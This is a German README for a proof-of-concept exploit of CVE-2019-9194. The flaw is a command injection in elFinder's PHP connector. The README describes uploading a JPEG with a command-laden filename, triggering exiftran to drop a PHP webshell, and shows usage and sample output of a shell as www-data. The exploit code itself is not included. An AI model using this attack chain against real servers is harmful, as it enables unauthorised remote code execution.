CVE-2019-9194 — elFinder Command Injection (PoC)

Command-Injection-Schwachstelle in elFinder <= 2.1.47 über die PHP-Connector-Komponente. Ermöglicht nicht authentifizierte Remote-Codeausführung als Webserver-Benutzer.

So funktioniert es

• Lädt ein gültiges JPEG mit einem bösartigen Dateinamen hoch, der einen Shell-Befehl enthält.
• Löst die Schwachstelle aus, indem eine Bildrotation angefordert wird, die den Dateinamen ohne Bereinigung an exiftran übergibt.
• Der injizierte Befehl schreibt eine PHP-Webshell (SecSignal.php) auf den Server.
• Stellt eine Verbindung zur Webshell her und öffnet eine interaktive Shell.

Voraussetzungen

• Python 3
• requests-Bibliothek (pip install requests)
• Das Ziel muss exiftran installiert haben und den elFinder-PHP-Connector aktiviert haben (connector.minimal.php)

Verwendung

python3 exploit.py http://TARGET

Beispiel:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Referenzen

• CVE-2019-9194
• EDB-46481
• Schwachstellenanalyse — SecSignal
• elFinder 2.1.48 Release (Fix)

Danksagungen

• Entdeckung: Thomas Chauchefoin
• Ursprünglicher Exploit: @q3rv0
• Python-3-Port & Metasploit-artige Verbesserungen: Esteban Zárate